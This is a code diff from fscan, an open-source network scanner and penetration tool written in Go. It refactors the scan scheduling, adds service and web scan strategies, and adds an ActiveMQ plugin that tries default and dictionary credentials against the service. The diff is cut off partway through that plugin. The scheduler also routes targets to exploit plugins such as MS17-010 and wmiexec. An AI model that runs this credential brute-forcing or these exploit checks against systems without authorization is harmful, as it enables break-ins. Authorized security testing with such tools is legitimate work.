AddScan("wmiexec", info, ch, wg)
|
Saucer: "[green]=[reset]",
|
||||||
}
|
SaucerHead: "[green]>[reset]",
|
||||||
case "445":
|
SaucerPadding: " ",
|
||||||
AddScan("ms17010", info, ch, wg)
|
BarStart: "[",
|
||||||
case "9000":
|
BarEnd: "]",
|
||||||
AddScan("web", info, ch, wg)
|
}),
|
||||||
AddScan("fcgi", info, ch, wg)
|
progressbar.OptionThrottle(65*time.Millisecond),
|
||||||
default:
|
progressbar.OptionUseANSICodes(true),
|
||||||
// 查找对应端口的插件
|
progressbar.OptionSetRenderBlankState(true),
|
||||||
for name, plugin := range Common.PluginManager {
|
)
|
||||||
if strconv.Itoa(plugin.Port) == info.Ports {
|
|
||||||
AddScan(name, info, ch, wg)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 默认执行Web扫描
|
|
||||||
AddScan("web", info, ch, wg)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// 直接使用指定的扫描类型
|
|
||||||
AddScan(scanType, info, ch, wg)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Mutex用于保护共享资源的并发访问
|
// 调度单个扫描任务
|
||||||
var Mutex = &sync.Mutex{}
|
func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
|
|
||||||
// AddScan 添加扫描任务到并发队列
|
|
||||||
func AddScan(scantype string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
|
||||||
// 获取信号量,控制并发数
|
|
||||||
*ch <- struct{}{}
|
|
||||||
// 添加等待组计数
|
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
|
*ch <- struct{}{} // 获取并发槽位
|
||||||
|
|
||||||
// 启动goroutine执行扫描任务
|
|
||||||
go func() {
|
go func() {
|
||||||
|
startTime := time.Now()
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
wg.Done() // 完成任务后减少等待组计数
|
// 捕获并记录任何可能的panic
|
||||||
<-*ch // 释放信号量
|
if r := recover(); r != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
|
||||||
|
pluginName, target.Host, target.Ports, r))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 完成任务,释放资源
|
||||||
|
duration := time.Since(startTime)
|
||||||
|
if Common.ShowScanPlan {
|
||||||
|
Common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
|
||||||
|
pluginName, target.Host, target.Ports, duration.Seconds()))
|
||||||
|
}
|
||||||
|
|
||||||
|
wg.Done()
|
||||||
|
<-*ch // 释放并发槽位
|
||||||
}()
|
}()
|
||||||
|
|
||||||
// 增加总任务数
|
atomic.AddInt64(&Common.Num, 1)
|
||||||
Mutex.Lock()
|
executeSingleScan(pluginName, target)
|
||||||
Common.Num += 1
|
updateProgress()
|
||||||
Mutex.Unlock()
|
|
||||||
|
|
||||||
// 执行扫描
|
|
||||||
ScanFunc(&scantype, &info)
|
|
||||||
|
|
||||||
// 增加已完成任务数
|
|
||||||
Mutex.Lock()
|
|
||||||
Common.End += 1
|
|
||||||
Mutex.Unlock()
|
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
// ScanFunc 执行扫描插件
|
// 执行单个扫描
|
||||||
func ScanFunc(name *string, info *Common.HostInfo) {
|
func executeSingleScan(pluginName string, info Common.HostInfo) {
|
||||||
defer func() {
|
plugin, exists := Common.PluginManager[pluginName]
|
||||||
if err := recover(); err != nil {
|
|
||||||
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
// 检查插件是否存在
|
|
||||||
plugin, exists := Common.PluginManager[*name]
|
|
||||||
if !exists {
|
if !exists {
|
||||||
fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name)
|
Common.LogBase(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 直接调用扫描函数
|
if err := plugin.ScanFunc(&info); err != nil {
|
||||||
if err := plugin.ScanFunc(info); err != nil {
|
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
|
||||||
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// IsContain 检查切片中是否包含指定元素
|
// 更新扫描进度
|
||||||
func IsContain(items []string, item string) bool {
|
func updateProgress() {
|
||||||
for _, eachItem := range items {
|
Common.OutputMutex.Lock()
|
||||||
if eachItem == item {
|
defer Common.OutputMutex.Unlock()
|
||||||
return true
|
|
||||||
}
|
atomic.AddInt64(&Common.End, 1)
|
||||||
|
|
||||||
|
if Common.ProgressBar != nil {
|
||||||
|
fmt.Print("\033[2K\r")
|
||||||
|
Common.ProgressBar.Add(1)
|
||||||
}
|
}
|
||||||
return false
|
}
|
||||||
|
|
||||||
|
// 入口函数,向后兼容旧的调用方式
|
||||||
|
func Scan(info Common.HostInfo) {
|
||||||
|
scanner := NewScanner(info)
|
||||||
|
scanner.Scan(info)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,218 @@
|
|||||||
|
package Core
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ServiceScanStrategy 服务扫描策略
|
||||||
|
type ServiceScanStrategy struct{}
|
||||||
|
|
||||||
|
// NewServiceScanStrategy 创建新的服务扫描策略
|
||||||
|
func NewServiceScanStrategy() *ServiceScanStrategy {
|
||||||
|
return &ServiceScanStrategy{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Name 返回策略名称
|
||||||
|
func (s *ServiceScanStrategy) Name() string {
|
||||||
|
return "服务扫描"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Description 返回策略描述
|
||||||
|
func (s *ServiceScanStrategy) Description() string {
|
||||||
|
return "扫描主机服务和漏洞"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Execute 执行服务扫描策略
|
||||||
|
func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
|
// 验证扫描目标
|
||||||
|
if info.Host == "" {
|
||||||
|
Common.LogError("未指定扫描目标")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证插件配置
|
||||||
|
if err := validateScanPlugins(); err != nil {
|
||||||
|
Common.LogError(err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析目标主机
|
||||||
|
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
|
||||||
|
if err != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogBase("开始主机扫描")
|
||||||
|
|
||||||
|
// 输出插件信息
|
||||||
|
s.LogPluginInfo()
|
||||||
|
|
||||||
|
// 执行主机扫描流程
|
||||||
|
s.performHostScan(hosts, info, ch, wg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// performHostScan 执行主机扫描的完整流程
|
||||||
|
func (s *ServiceScanStrategy) performHostScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
|
var targetInfos []Common.HostInfo
|
||||||
|
|
||||||
|
// 主机存活性检测和端口扫描
|
||||||
|
if len(hosts) > 0 || len(Common.HostPort) > 0 {
|
||||||
|
// 主机存活检测
|
||||||
|
if s.shouldPerformLivenessCheck(hosts) {
|
||||||
|
hosts = CheckLive(hosts, Common.UsePing)
|
||||||
|
Common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 端口扫描
|
||||||
|
alivePorts := s.discoverAlivePorts(hosts)
|
||||||
|
if len(alivePorts) > 0 {
|
||||||
|
targetInfos = s.convertToTargetInfos(alivePorts, info)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 执行漏洞扫描
|
||||||
|
if len(targetInfos) > 0 {
|
||||||
|
Common.LogBase("开始漏洞扫描")
|
||||||
|
ExecuteScanTasks(targetInfos, s, ch, wg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// shouldPerformLivenessCheck 判断是否需要执行存活性检测
|
||||||
|
func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string) bool {
|
||||||
|
return Common.DisablePing == false && len(hosts) > 1
|
||||||
|
}
|
||||||
|
|
||||||
|
// discoverAlivePorts 发现存活的端口
|
||||||
|
func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string) []string {
|
||||||
|
var alivePorts []string
|
||||||
|
|
||||||
|
// 根据扫描模式选择端口扫描方式
|
||||||
|
if len(hosts) > 0 {
|
||||||
|
alivePorts = EnhancedPortScan(hosts, Common.Ports, Common.Timeout)
|
||||||
|
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 合并额外指定的端口
|
||||||
|
if len(Common.HostPort) > 0 {
|
||||||
|
alivePorts = append(alivePorts, Common.HostPort...)
|
||||||
|
alivePorts = Common.RemoveDuplicate(alivePorts)
|
||||||
|
Common.HostPort = nil
|
||||||
|
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
|
||||||
|
}
|
||||||
|
|
||||||
|
return alivePorts
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrepareTargets 准备目标信息
|
||||||
|
func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
|
||||||
|
// 解析目标主机
|
||||||
|
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
|
||||||
|
if err != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var targetInfos []Common.HostInfo
|
||||||
|
|
||||||
|
// 主机存活性检测和端口扫描
|
||||||
|
if len(hosts) > 0 || len(Common.HostPort) > 0 {
|
||||||
|
// 主机存活检测
|
||||||
|
if s.shouldPerformLivenessCheck(hosts) {
|
||||||
|
hosts = CheckLive(hosts, Common.UsePing)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 端口扫描
|
||||||
|
alivePorts := s.discoverAlivePorts(hosts)
|
||||||
|
if len(alivePorts) > 0 {
|
||||||
|
targetInfos = s.convertToTargetInfos(alivePorts, info)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return targetInfos
|
||||||
|
}
|
||||||
|
|
||||||
|
// convertToTargetInfos 将端口列表转换为目标信息
|
||||||
|
func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo Common.HostInfo) []Common.HostInfo {
|
||||||
|
var infos []Common.HostInfo
|
||||||
|
|
||||||
|
for _, targetIP := range ports {
|
||||||
|
hostParts := strings.Split(targetIP, ":")
|
||||||
|
if len(hostParts) != 2 {
|
||||||
|
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
info := baseInfo
|
||||||
|
info.Host = hostParts[0]
|
||||||
|
info.Ports = hostParts[1]
|
||||||
|
infos = append(infos, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
return infos
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPlugins 获取服务扫描插件列表
|
||||||
|
func (s *ServiceScanStrategy) GetPlugins() ([]string, bool) {
|
||||||
|
// 如果指定了插件列表且不是"all"
|
||||||
|
if Common.ScanMode != "" && Common.ScanMode != "all" {
|
||||||
|
plugins := parsePluginList(Common.ScanMode)
|
||||||
|
if len(plugins) > 0 {
|
||||||
|
return plugins, true
|
||||||
|
}
|
||||||
|
return []string{Common.ScanMode}, true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤
|
||||||
|
return GetAllPlugins(), false
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogPluginInfo 输出服务扫描插件信息
|
||||||
|
func (s *ServiceScanStrategy) LogPluginInfo() {
|
||||||
|
allPlugins, isCustomMode := s.GetPlugins()
|
||||||
|
|
||||||
|
// 如果是自定义模式,直接显示用户指定的插件
|
||||||
|
if isCustomMode {
|
||||||
|
Common.LogBase(fmt.Sprintf("使用指定插件: %s", strings.Join(allPlugins, ", ")))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 在自动模式下,过滤掉本地插件,只显示服务类型插件
|
||||||
|
var applicablePlugins []string
|
||||||
|
for _, pluginName := range allPlugins {
|
||||||
|
plugin, exists := Common.PluginManager[pluginName]
|
||||||
|
if exists && !plugin.HasType(Common.PluginTypeLocal) {
|
||||||
|
applicablePlugins = append(applicablePlugins, pluginName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(applicablePlugins) > 0 {
|
||||||
|
Common.LogBase(fmt.Sprintf("使用服务插件: %s", strings.Join(applicablePlugins, ", ")))
|
||||||
|
} else {
|
||||||
|
Common.LogBase("未找到可用的服务插件")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsPluginApplicable 判断插件是否适用于服务扫描
|
||||||
|
func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
||||||
|
// 自定义模式下运行所有明确指定的插件
|
||||||
|
if isCustomMode {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 非自定义模式下,排除本地插件
|
||||||
|
if plugin.HasType(Common.PluginTypeLocal) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查端口是否匹配
|
||||||
|
if len(plugin.Ports) > 0 && targetPort > 0 {
|
||||||
|
return plugin.HasPort(targetPort)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 无端口限制的插件或适用于服务扫描的插件
|
||||||
|
return len(plugin.Ports) == 0 || plugin.HasType(Common.PluginTypeService)
|
||||||
|
}
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
package Core
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
// WebScanStrategy Web扫描策略
|
||||||
|
type WebScanStrategy struct{}
|
||||||
|
|
||||||
|
// NewWebScanStrategy 创建新的Web扫描策略
|
||||||
|
func NewWebScanStrategy() *WebScanStrategy {
|
||||||
|
return &WebScanStrategy{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Name 返回策略名称
|
||||||
|
func (s *WebScanStrategy) Name() string {
|
||||||
|
return "Web扫描"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Description 返回策略描述
|
||||||
|
func (s *WebScanStrategy) Description() string {
|
||||||
|
return "扫描Web应用漏洞和信息"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Execute 执行Web扫描策略
|
||||||
|
func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
|
Common.LogBase("开始Web扫描")
|
||||||
|
|
||||||
|
// 验证插件配置
|
||||||
|
if err := validateScanPlugins(); err != nil {
|
||||||
|
Common.LogError(err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 准备URL目标
|
||||||
|
targets := s.PrepareTargets(info)
|
||||||
|
|
||||||
|
// 输出插件信息
|
||||||
|
s.LogPluginInfo()
|
||||||
|
|
||||||
|
// 执行扫描任务
|
||||||
|
ExecuteScanTasks(targets, s, ch, wg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrepareTargets 准备URL目标列表
|
||||||
|
func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []Common.HostInfo {
|
||||||
|
var targetInfos []Common.HostInfo
|
||||||
|
|
||||||
|
for _, url := range Common.URLs {
|
||||||
|
urlInfo := baseInfo
|
||||||
|
// 确保URL包含协议头
|
||||||
|
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
|
||||||
|
url = "http://" + url
|
||||||
|
}
|
||||||
|
urlInfo.Url = url
|
||||||
|
targetInfos = append(targetInfos, urlInfo)
|
||||||
|
}
|
||||||
|
|
||||||
|
return targetInfos
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPlugins 获取Web扫描插件列表
|
||||||
|
func (s *WebScanStrategy) GetPlugins() ([]string, bool) {
|
||||||
|
// 如果指定了自定义插件并且不是"all"
|
||||||
|
if Common.ScanMode != "" && Common.ScanMode != "all" {
|
||||||
|
requestedPlugins := parsePluginList(Common.ScanMode)
|
||||||
|
if len(requestedPlugins) == 0 {
|
||||||
|
requestedPlugins = []string{Common.ScanMode}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证插件是否存在,不做Web类型过滤
|
||||||
|
var validPlugins []string
|
||||||
|
for _, name := range requestedPlugins {
|
||||||
|
if _, exists := Common.PluginManager[name]; exists {
|
||||||
|
validPlugins = append(validPlugins, name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(validPlugins) > 0 {
|
||||||
|
return validPlugins, true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤
|
||||||
|
return GetAllPlugins(), false
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogPluginInfo 输出Web扫描插件信息
|
||||||
|
func (s *WebScanStrategy) LogPluginInfo() {
|
||||||
|
allPlugins, isCustomMode := s.GetPlugins()
|
||||||
|
|
||||||
|
// 如果是自定义模式,直接显示用户指定的插件
|
||||||
|
if isCustomMode {
|
||||||
|
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 在自动模式下,只显示Web类型的插件
|
||||||
|
var applicablePlugins []string
|
||||||
|
for _, pluginName := range allPlugins {
|
||||||
|
plugin, exists := Common.PluginManager[pluginName]
|
||||||
|
if exists && plugin.HasType(Common.PluginTypeWeb) {
|
||||||
|
applicablePlugins = append(applicablePlugins, pluginName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(applicablePlugins) > 0 {
|
||||||
|
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用Web插件: %s", strings.Join(applicablePlugins, ", ")))
|
||||||
|
} else {
|
||||||
|
Common.LogBase("Web扫描模式: 未找到可用的Web插件")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsPluginApplicable 判断插件是否适用于Web扫描
|
||||||
|
func (s *WebScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
||||||
|
// 自定义模式下运行所有明确指定的插件
|
||||||
|
if isCustomMode {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// 非自定义模式下,只运行Web类型插件
|
||||||
|
return plugin.HasType(Common.PluginTypeWeb)
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,88 +0,0 @@
|
|||||||
# FScan 插件开发指南
|
|
||||||
|
|
||||||
## 1. 创建插件
|
|
||||||
在 `Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`:
|
|
||||||
|
|
||||||
```go
|
|
||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"github.com/shadow1ng/fscan/Common"
|
|
||||||
)
|
|
||||||
|
|
||||||
func MyPluginScan(info *Common.HostInfo) error {
|
|
||||||
// 1. 基础检查
|
|
||||||
if info == nil {
|
|
||||||
return errors.New("Invalid host info")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2. 实现扫描逻辑
|
|
||||||
result, err := doScan(info)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. 处理结果
|
|
||||||
if result.Vulnerable {
|
|
||||||
Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port))
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## 2. 注册插件
|
|
||||||
在 `Core/Registry.go` 中注册你的插件:
|
|
||||||
|
|
||||||
```go
|
|
||||||
Common.RegisterPlugin("myplugin", Common.ScanPlugin{
|
|
||||||
Name: "MyPlugin",
|
|
||||||
Port: 12345, // 指定端口,如果是web类插件可设为0
|
|
||||||
ScanFunc: Plugins.MyPluginScan,
|
|
||||||
})
|
|
||||||
```
|
|
||||||
|
|
||||||
## 3. 开发规范
|
|
||||||
|
|
||||||
### 插件结构
|
|
||||||
- 每个插件应当是独立的功能模块
|
|
||||||
- 使用清晰的函数名和变量名
|
|
||||||
- 添加必要的注释说明功能和实现逻辑
|
|
||||||
|
|
||||||
### 错误处理
|
|
||||||
```go
|
|
||||||
// 推荐的错误处理方式
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("plugin_name scan error: %v", err)
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### 日志输出
|
|
||||||
```go
|
|
||||||
// 使用内置的日志函数
|
|
||||||
Common.LogSuccess("发现漏洞")
|
|
||||||
Common.LogError("扫描错误")
|
|
||||||
```
|
|
||||||
|
|
||||||
## 4. 测试验证
|
|
||||||
|
|
||||||
- 编译整个项目确保无错误
|
|
||||||
- 实际环境测试插件功能
|
|
||||||
- 验证与其他插件的兼容性
|
|
||||||
|
|
||||||
## 5. 提交流程
|
|
||||||
|
|
||||||
1. Fork 项目仓库
|
|
||||||
2. 创建功能分支
|
|
||||||
3. 提交代码更改
|
|
||||||
4. 编写清晰的提交信息
|
|
||||||
5. 创建 Pull Request
|
|
||||||
|
|
||||||
## 注意事项
|
|
||||||
|
|
||||||
- 遵循 Go 编码规范
|
|
||||||
- 保证代码可读性和可维护性
|
|
||||||
- 禁止提交恶意代码
|
|
||||||
- 做好异常处理和超时控制
|
|
||||||
- 避免过度消耗系统资源
|
|
||||||
- 注意信息安全,不要泄露敏感数据
|
|
||||||
@@ -0,0 +1,317 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ActiveMQCredential 表示一个ActiveMQ凭据
|
||||||
|
type ActiveMQCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// ActiveMQScanResult 表示扫描结果
|
||||||
|
type ActiveMQScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential ActiveMQCredential
|
||||||
|
}
|
||||||
|
|
||||||
|
func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 先尝试默认账户
|
||||||
|
Common.LogDebug("尝试默认账户 admin:admin")
|
||||||
|
|
||||||
|
defaultCredential := ActiveMQCredential{Username: "admin", Password: "admin"}
|
||||||
|
defaultResult := tryActiveCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
|
||||||
|
|
||||||
|
if defaultResult.Success {
|
||||||
|
saveActiveMQSuccess(info, target, defaultResult.Credential)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 生成所有凭据组合
|
||||||
|
credentials := generateActiveMQCredentials(Common.Userdict["activemq"], Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["activemq"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentActiveMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveActiveMQSuccess(info, target, result.Credential)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("ActiveMQ扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认凭据
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// generateActiveMQCredentials 生成ActiveMQ的用户名密码组合
|
||||||
|
func generateActiveMQCredentials(users, passwords []string) []ActiveMQCredential {
|
||||||
|
var credentials []ActiveMQCredential
|
||||||
|
for _, user := range users {
|
||||||
|
for _, pass := range passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, ActiveMQCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return credentials
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentActiveMQScan 并发扫描ActiveMQ服务
|
||||||
|
func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credentials []ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *ActiveMQScanResult, 1)
|
||||||
|
workChan := make(chan ActiveMQCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryActiveCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("ActiveMQ并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryActiveCredential 尝试单个ActiveMQ凭据
|
||||||
|
func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &ActiveMQScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建单个连接超时的上下文
|
||||||
|
